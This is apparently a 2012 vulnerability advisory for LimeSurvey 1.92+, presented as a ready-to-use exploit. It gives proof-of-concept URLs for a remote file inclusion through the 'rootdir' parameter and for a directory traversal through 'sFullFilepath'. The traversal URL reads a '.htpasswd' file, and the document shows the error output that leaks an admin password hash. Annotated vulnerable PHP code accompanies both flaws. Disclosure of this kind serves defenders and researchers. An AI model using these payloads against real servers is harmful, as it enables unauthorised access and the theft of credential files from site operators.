90 lines
No EOL
3.7 KiB
Text
90 lines
No EOL
3.7 KiB
Text
:::::::-. ... ::::::. :::.
|
|
;;, `';, ;; ;;;`;;;;, `;;;
|
|
`[[ [[[[' [[[ [[[[[. '[[
|
|
$$, $$$$ $$$ $$$ "Y$c$$
|
|
888_,o8P'88 .d888 888 Y88
|
|
MMMMP"` "YmmMMMM"" MMM YM
|
|
|
|
[ Discovered by dun \ posdub[at]gmail.com ]
|
|
[ 2012-06-22 ]
|
|
#################################################################
|
|
# [ LimeSurvey 1.92+ build 120620 ] Multiple Vulnerabilities #
|
|
#################################################################
|
|
#
|
|
# Script: "LimeSurvey - the free and open source survey software tool"
|
|
#
|
|
# Vendor: http://www.limesurvey.org/
|
|
# Download: http://download.limesurvey.org/Latest_stable_release/limesurvey192plus-build120620.zip
|
|
#
|
|
################################################################
|
|
#
|
|
# [RFI] ( allow_url_include = On; register_globals = On; )
|
|
#
|
|
# Versions affected: 1.92+ build 120620
|
|
#
|
|
# Vuln: http://localhost/limesurvey/replacements.php?rootdir=http://localhost/phpinfo.txt?
|
|
|
|
File: ./limesurvey/replacements.php (line 3)
|
|
...cut...
|
|
<?php
|
|
global $rootdir;
|
|
include_once($rootdir.'/classes/expressions/LimeExpressionManager.php'); // [RFI]
|
|
...cut...
|
|
|
|
################################################################
|
|
#
|
|
# [Directory Traversal] ( display_errors On; register_globals = On; )
|
|
#
|
|
# Versions affected: 1.92+ build 120620 and previous
|
|
#
|
|
# Vuln: http://localhost/limesurvey/admin/importsurvey.php?copyfunction=1&sExtension=lss&sFullFilepath=../../secret/.htpasswd
|
|
|
|
File: ./limesurvey/admin/importsurvey.php (lines 18-38)
|
|
...cut...
|
|
if ((!isset($importingfrom) && !isset($copyfunction)) || isset($_REQUEST['importingfrom'])) // 1 false if $copyfunction is set
|
|
{
|
|
die("Cannot run this script directly");
|
|
}
|
|
require_once('import_functions.php'); // 2 include functions
|
|
|
|
if (!isset($copyfunction))
|
|
{
|
|
$sFullFilepath=$the_full_file_path;
|
|
$aPathInfo = pathinfo($sFullFilepath);
|
|
$sExtension = $aPathInfo['extension'];
|
|
}
|
|
|
|
$bImportFailed=false;
|
|
if (isset($sExtension) && strtolower($sExtension)=='csv')
|
|
{
|
|
$aImportResults=CSVImportSurvey($sFullFilepath);
|
|
}
|
|
elseif (isset($sExtension) && strtolower($sExtension)=='lss') // 3 true if $sExtension = 'lss'
|
|
{
|
|
$aImportResults=XMLImportSurvey($sFullFilepath,null,null, null,(isset($_POST['translinksfields']))); // 4 $sFullFilepath -> our file
|
|
...cut...
|
|
|
|
File: ./limesurvey/admin/import_functions.php (lines 1080-1087)
|
|
...cut...
|
|
function XMLImportSurvey($sFullFilepath,$sXMLdata=NULL,$sNewSurveyName=NULL,$iDesiredSurveyId=NULL, $bTranslateInsertansTags=true)
|
|
{
|
|
global $connect, $dbprefix, $clang, $timeadjust;
|
|
|
|
$results['error']=false;
|
|
if ($sXMLdata == NULL)
|
|
{
|
|
$xml = simplexml_load_file($sFullFilepath); // 5 try to open our file as xmlfile
|
|
...cut...
|
|
|
|
This should return a warning with the first line of our file.
|
|
In this case: admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ from .htpasswd :)
|
|
Something like this:
|
|
|
|
Warning: simplexml_load_file() [function.simplexml-load-file]:
|
|
../../secret/.htpasswd:1:parser error : Start tag expected, '<' not found in /www/limesurvey/admin/import_functions.php on line 1087
|
|
Warning: simplexml_load_file() [function.simplexml-load-file]:
|
|
admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ in /www/limesurvey/admin/import_functions.php on line 1087
|
|
Warning: simplexml_load_file() [function.simplexml-load-file]:
|
|
^ in /www/limesurvey/admin/import_functions.php on line 1087
|
|
|
|
### [ dun / 2012 ] ##################################################### |